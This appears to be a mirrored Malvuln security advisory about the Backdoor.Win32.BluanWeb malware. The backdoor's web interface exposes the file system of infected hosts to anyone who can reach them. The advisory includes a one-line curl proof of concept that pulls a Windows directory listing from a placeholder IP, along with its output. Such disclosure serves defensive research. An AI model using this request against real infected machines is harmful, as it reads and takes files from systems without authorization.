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Backdoor.Win32.BluanWeb / Information Disclosure

CVE Category Price Severity
N/A CWE-200 Unknown High
Author Risk Exploitation Type Date
Unknown High Remote 2022-03-12
CVSS
CVSS:4.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022030025

Below is a copy:

Backdoor.Win32.BluanWeb / Information Disclosure
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/30903ccbc6747c0da5a2775884b78def_B.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.BluanWeb
Vulnerability: Information Disclosure
Description: The malware "BlueAngel For WebServer" by "leonshoh" listens on TCP port 80. The malware provides an HTML web-interface that exposes the entire system and creates HTML links to delete or run programs listed in its directories. Third-party attackers who can reach an infected host can make HTTP GET request downloading any files on the system.

[C]
 
 255
 NTFS
 3625.000000 MB
 3284.000000 MB
[D]

[Fixed Disk C]
Volume label name
Filename length 255
File system NTFS
Disk size 3625.000000 MB
Free space 3284.000000 MB
[Disc D]

Family:BluanWeb
Type: PE32
MD5: 30903ccbc6747c0da5a2775884b78def
Vuln ID: MVID-2022-0505
Disclosure: 03/03/2022

Exploit/PoC:
curl http://x.x.x.x/fold_C:/Windows/ --output infected_host_info.txt
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 15477    0 15477    0     0  15477      0 --:--:-- --:--:-- --:--:--  243k


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